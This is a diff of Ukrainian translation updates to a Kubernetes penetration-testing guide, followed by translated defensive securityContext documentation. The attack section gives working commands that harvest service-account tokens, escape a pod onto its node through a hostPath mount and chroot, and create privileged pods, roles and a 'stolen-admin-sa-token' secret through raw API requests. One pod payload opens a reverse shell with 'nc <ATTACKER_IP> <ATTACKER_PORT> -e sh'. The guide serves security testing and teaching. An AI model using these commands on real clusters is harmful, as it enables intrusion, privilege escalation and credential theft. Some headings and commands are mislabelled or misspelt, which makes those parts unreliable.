**Після того як ви дізнаєтеся, які privileges** у вас є, перевірте наступну сторінку, щоб з’ясувати **чи можете ви abuse їх** для escalation privileges:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати простори імен
|
||||
### Отримати namespaces
|
||||
|
||||
Kubernetes підтримує **декілька віртуальних кластерів**, які базуються на одному фізичному кластері. Ці віртуальні кластери називаються **просторами імен**.
|
||||
Kubernetes підтримує **multiple virtual clusters**, що працюють поверх одного й того ж physical cluster. Ці virtual clusters називаються **namespaces**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -244,10 +259,7 @@ k get namespaces
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати секрети
|
||||
### Отримати secrets
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -266,13 +278,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Якщо ви можете читати секрети, ви можете використовувати наступні рядки, щоб отримати привілеї, пов'язані з кожним токеном:
|
||||
Якщо ви можете читати secrets, ви можете використати такі рядки, щоб отримати привілеї, пов’язані з кожним token:
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### Отримати облікові записи служб
|
||||
### Отримати Service Accounts
|
||||
|
||||
Як обговорювалося на початку цієї сторінки, **коли запускається под, зазвичай йому призначається обліковий запис служби**. Тому, якщо перерахувати облікові записи служб, їхні дозволи та де вони працюють, це може дозволити користувачу підвищити привілеї.
|
||||
Як обговорювалося на початку цієї сторінки, **коли pod запускається, йому зазвичай призначається service account**. Тому перелік service accounts, їхніх permissions і де вони запущені може дозволити користувачу підвищити привілеї.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -288,9 +300,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати розгортання
|
||||
### Отримати Deployments
|
||||
|
||||
Розгортання вказують на **компоненти**, які потрібно **запустити**.
|
||||
Deployments визначають бажаний стан для stateless application workloads. Вони створюють ReplicaSets, а ці ReplicaSets створюють Pods.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -302,14 +314,33 @@ k get deployments -n custnamespace
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати StatefulSets
|
||||
|
||||
StatefulSets керують Pods, які потребують стабільних назв, впорядкованої поведінки розгортання та часто персистентних volumes для кожної репліки.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get statefulsets
|
||||
k get statefulsets -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати Pods
|
||||
|
||||
Pods - це фактичні **контейнери**, які будуть **запускатися**.
|
||||
Pods — це фактичні **containers**, які будуть **run**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -326,9 +357,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати сервіси
|
||||
### Отримати Services
|
||||
|
||||
Kubernetes **сервіси** використовуються для **виведення сервісу на конкретному порту та IP** (який буде діяти як балансувальник навантаження для подів, які насправді пропонують сервіс). Це цікаво знати, де ви можете знайти інші сервіси, щоб спробувати атакувати.
|
||||
Kubernetes **services** використовуються для **експонування сервісу на певному порту та IP** (який діятиме як load balancer для pods, що фактично надають сервіс). Це корисно знати, щоб знайти інші services, які можна спробувати атакувати.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -340,14 +371,11 @@ k get services -n custnamespace
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
### Отримати nodes
|
||||
|
||||
### Отримати вузли
|
||||
|
||||
Отримати всі **вузли, налаштовані всередині кластера**.
|
||||
Отримайте всі **nodes, налаштовані всередині cluster**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -365,7 +393,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### Отримати DaemonSets
|
||||
|
||||
**DaeamonSets** дозволяє забезпечити, щоб **конкретний pod працював на всіх вузлах** кластера (або на вибраних). Якщо ви видалите DaemonSet, pods, якими він керує, також будуть видалені.
|
||||
**DaemonSets** гарантують, що **конкретний Pod працює на всіх вибраних вузлах** кластера. Якщо ви видалите DaemonSet, керовані ним Pods також будуть видалені.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -376,32 +404,52 @@ k get daemonsets
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати cronjob
|
||||
### Отримати Jobs
|
||||
|
||||
Cron jobs дозволяють запланувати запуск поду, який виконає певну дію, використовуючи синтаксис, подібний до crontab.
|
||||
Jobs створюють Pods, які працюють до завершення. Їх зазвичай використовують для міграцій, резервних копій, batch-робіт і одноразових адміністративних завдань.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get cronjobs
|
||||
k get jobs
|
||||
k get jobs -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати CronJobs
|
||||
|
||||
CronJobs використовують розклад, схожий на crontab, щоб створювати Jobs, які запускають Pods для task-style execution.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get cronjobs
|
||||
k get cronjobs -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати configMap
|
||||
|
||||
configMap завжди містить багато інформації та конфігураційних файлів, які надаються додаткам, що працюють у kubernetes. Зазвичай ви можете знайти багато паролів, секретів, токенів, які використовуються для підключення та валідації до інших внутрішніх/зовнішніх сервісів.
|
||||
configMap завжди містить багато інформації та configfile, які надаються apps, що працюють у kubernetes. Зазвичай ви можете знайти багато password, secrets, tokens, які використовуються для підключення та валідації до інших internal/external service.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -417,18 +465,15 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати мережеві політики / Cilium мережеві політики
|
||||
### Отримати Network Policies / Cilium Network Policies
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Перша вкладка" }}
|
||||
{{#tab name="First Tab" }}
|
||||
```bash
|
||||
k get networkpolicies
|
||||
k get CiliumNetworkPolicies
|
||||
k get CiliumClusterwideNetworkPolicies
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати все / Усе
|
||||
|
||||
{{#tabs }}
|
||||
@@ -461,21 +506,21 @@ k top pod --all-namespaces
|
||||
|
||||
## Взаємодія з кластером без використання kubectl
|
||||
|
||||
Оскільки контрольна площина Kubernetes відкриває REST-ful API, ви можете вручну створювати HTTP запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**.
|
||||
Оскільки control plane Kubernetes надає REST-ful API, ви можете вручну складати HTTP-запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**.
|
||||
|
||||
### Втеча з пода
|
||||
### Втеча з pod
|
||||
|
||||
Якщо ви можете створювати нові поди, ви можете втекти з них на вузол. Для цього вам потрібно створити новий под, використовуючи yaml файл, перейти до створеного пода, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи.
|
||||
Якщо ви можете створювати нові pod, ви, можливо, зможете втекти з них на node. Для цього вам потрібно створити новий pod за допомогою yaml-файлу, переключитися на створений pod, а потім виконати chroot у system node. Ви можете використовувати вже наявні pod як reference для yaml-файлу, оскільки вони показують наявні images і pathes.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
> якщо вам потрібно створити pod на конкретному вузлі, ви можете використати наступну команду, щоб отримати мітки на вузлі
|
||||
> якщо вам потрібно створити pod на конкретному node, ви можете використати таку команду, щоб отримати labels на node
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> Зазвичай, kubernetes.io/hostname та node-role.kubernetes.io/master є хорошими мітками для вибору.
|
||||
> Зазвичай, kubernetes.io/hostname і node-role.kubernetes.io/master — це хороші labels для вибору.
|
||||
|
||||
Тоді ви створюєте свій attack.yaml файл
|
||||
Потім створюєте ваш файл attack.yaml
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -505,23 +550,25 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
Після цього ви створюєте под
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
Після цього ви створюєте pod
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
Тепер ви можете переключитися на створений pod наступним чином
|
||||
Тепер ви можете переключитися на створений pod так:
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
І нарешті ви chroot у систему вузла
|
||||
І нарешті ви chroot у систему node.
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
Інформація отримана з: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Створення привілейованого пода
|
||||
### Створення privileged pod
|
||||
|
||||
Відповідний yaml файл виглядає наступним чином:
|
||||
Відповідний yaml файл виглядає так:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -549,7 +596,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Створіть под за допомогою curl:
|
||||
Створіть pod за допомогою curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -565,9 +612,9 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Видалити под
|
||||
### Видалити pod
|
||||
|
||||
Видалити под за допомогою curl:
|
||||
Видалити pod за допомогою curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -584,7 +631,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### Створити обліковий запис служби
|
||||
### Створити Service Account
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -602,7 +649,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Видалити обліковий запис служби
|
||||
### Видалити Service Account
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -619,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### Створити роль
|
||||
### Створіть Role
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -637,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Видалити роль
|
||||
### Видалити Role
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -655,7 +702,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
### Створити прив'язку ролі
|
||||
### Створити Role Binding
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -672,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Видалити зв'язок ролі
|
||||
### Видалити Role Binding
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -690,7 +737,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
### Видалити секрет
|
||||
### Видалити Secret
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -707,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Видалити секрет
|
||||
### Видалити Secret
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -725,7 +772,7 @@ ccurl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
|
||||
```
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
{{#ref}}
|
||||
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
|
||||
|
||||
+56
-35
@@ -4,60 +4,81 @@
|
||||
|
||||
## PodSecurityContext <a href="#podsecuritycontext-v1-core" id="podsecuritycontext-v1-core"></a>
|
||||
|
||||
[**З документації:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
|
||||
При вказуванні контексту безпеки Pod ви можете використовувати кілька атрибутів. З точки зору оборонної безпеки вам слід врахувати:
|
||||
Під час вказування security context Pod ви можете використовувати кілька атрибутів. З точки зору defensive security слід врахувати:
|
||||
|
||||
- Мати **runASNonRoot** як **True**
|
||||
- Щоб **runASNonRoot** був **True**
|
||||
- Налаштувати **runAsUser**
|
||||
- Якщо можливо, розгляньте можливість **обмеження** **дозволів**, вказуючи **seLinuxOptions** та **seccompProfile**
|
||||
- **НЕ** надавайте доступ до **привілейованої** **групи** через **runAsGroup** та **supplementaryGroups**
|
||||
- Якщо можливо, розгляньте **обмеження** **permissions**, вказавши **seLinuxOptions** і **seccompProfile**
|
||||
- **НЕ** надавайте доступ до **privilege** **group** через **runAsGroup** і **supplementaryGroups**
|
||||
|
||||
| Параметр | Опис |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>ціле число</em></p> | <p>Спеціальна додаткова група, яка застосовується до <strong>всіх контейнерів у pod</strong>. Деякі типи томів дозволяють Kubelet <strong>змінювати власність цього тому</strong> на власність pod:<br>1. Власний GID буде FSGroup<br>2. Біт setgid встановлений (нові файли, створені в томі, будуть належати FSGroup)<br>3. Права доступу OR'd з rw-rw---- Якщо не встановлено, Kubelet не змінюватиме власність і права доступу жодного тому</p> |
|
||||
| Parameter | Description |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Спеціальна supplemental group, яка застосовується до <strong>all containers in a pod</strong>. Деякі типи volume дозволяють Kubelet <strong>змінювати ownership цього volume</strong>, щоб він належав pod:<br>1. Власницький GID буде FSGroup<br>2. Встановлюється setgid bit (нові файли, створені у volume, належатимуть FSGroup)<br>3. Біт permissions буде OR'd з rw-rw---- Якщо не задано, Kubelet не змінюватиме ownership і permissions жодного volume</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>рядок</em></p> | Це визначає поведінку **зміни власності та прав доступу тому** перед його відкриттям всередині Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>ціле число</em></p> | **GID для запуску точки входу процесу контейнера**. Використовує значення за замовчуванням, якщо не встановлено. Може також бути встановлено в SecurityContext. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>логічне значення</em></p> | Вказує, що контейнер повинен працювати як не-root користувач. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>ціле число</em></p> | **UID для запуску точки входу процесу контейнера**. За замовчуванням - користувач, вказаний у метаданих зображення, якщо не вказано. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Більше інформації про</em> <em><strong>seLinux</strong></em></p> | **Контекст SELinux, який буде застосовано до всіх контейнерів**. Якщо не вказано, контейнерний виконувальний середовище виділить випадковий контекст SELinux для кожного контейнера. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Більше інформації про</em> <em><strong>Seccomp</strong></em></p> | **Опції seccomp, які використовуються контейнерами** в цьому pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>масив цілих чисел</em></p> | Список **груп, які застосовуються до першого процесу, запущеного в кожному контейнері**, на додаток до основного GID контейнера. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>масив</em><br><em>Більше інформації про</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls містять список **namespaced sysctls, які використовуються для pod**. Pods з непідтримуваними sysctls (контейнерним виконувальним середовищем) можуть не запуститися. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Специфічні для Windows налаштування, які застосовуються до всіх контейнерів. Якщо не вказано, будуть використовуватися параметри в SecurityContext контейнера. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Це визначає поведінку **зміни ownership і permission volume** перед тим, як він стане доступним всередині Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID для запуску entrypoint процесу container**. Використовує runtime default, якщо не задано. Також може бути задано в SecurityContext. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Вказує, що container має запускатися як non-root user. Якщо true, Kubelet під час виконання перевірить image, щоб переконатися, що вона не запускається як UID 0 (root), і не дасть запустити container, якщо це не так. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID для запуску entrypoint процесу container**. Якщо не вказано, за замовчуванням використовується user, заданий у metadata image. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **SELinux context, який буде застосовано до всіх containers**. Якщо не вказано, container runtime призначить випадковий SELinux context для кожного container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | **seccomp options, які використовуються container** у цьому pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Список **groups, які застосовуються до першого process, запущеного в кожному container**, додатково до primary GID container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls містять список **namespaced sysctls, що використовуються для pod**. Pod із unsupported sysctls (за версією container runtime) можуть не запуститися. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Windows-specific налаштування, застосовані до всіх containers. Якщо не вказано, будуть використані options всередині SecurityContext container. |
|
||||
|
||||
## SecurityContext
|
||||
|
||||
[**З документації:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
Цей контекст встановлюється всередині **визначень контейнерів**. З точки зору оборонної безпеки вам слід врахувати:
|
||||
Цей context задається всередині **container definitions**. З точки зору defensive security слід врахувати:
|
||||
|
||||
- **allowPrivilegeEscalation** як **False**
|
||||
- Не додавайте чутливі **можливості** (і видаліть ті, які вам не потрібні)
|
||||
- **привілейований** як **False**
|
||||
- **allowPrivilegeEscalation** до **False**
|
||||
- Не додавайте чутливі **capabilities** (і видаляйте ті, які вам не потрібні)
|
||||
- **privileged** до **False**
|
||||
- Якщо можливо, встановіть **readOnlyFilesystem** як **True**
|
||||
- Встановіть **runAsNonRoot** як **True** і задайте **runAsUser**
|
||||
- Якщо можливо, розгляньте можливість **обмеження** **дозволів**, вказуючи **seLinuxOptions** та **seccompProfile**
|
||||
- **НЕ** надавайте доступ до **привілейованої** **групи** через **runAsGroup.**
|
||||
- Якщо можливо, розгляньте **обмеження** **permissions**, вказавши **seLinuxOptions** і **seccompProfile**
|
||||
- **НЕ** надавайте доступ до **privilege** **group** через **runAsGroup.**
|
||||
|
||||
Зверніть увагу, що атрибути, встановлені в **обох SecurityContext і PodSecurityContext**, значення, вказане в **SecurityContext**, має **пріоритет**.
|
||||
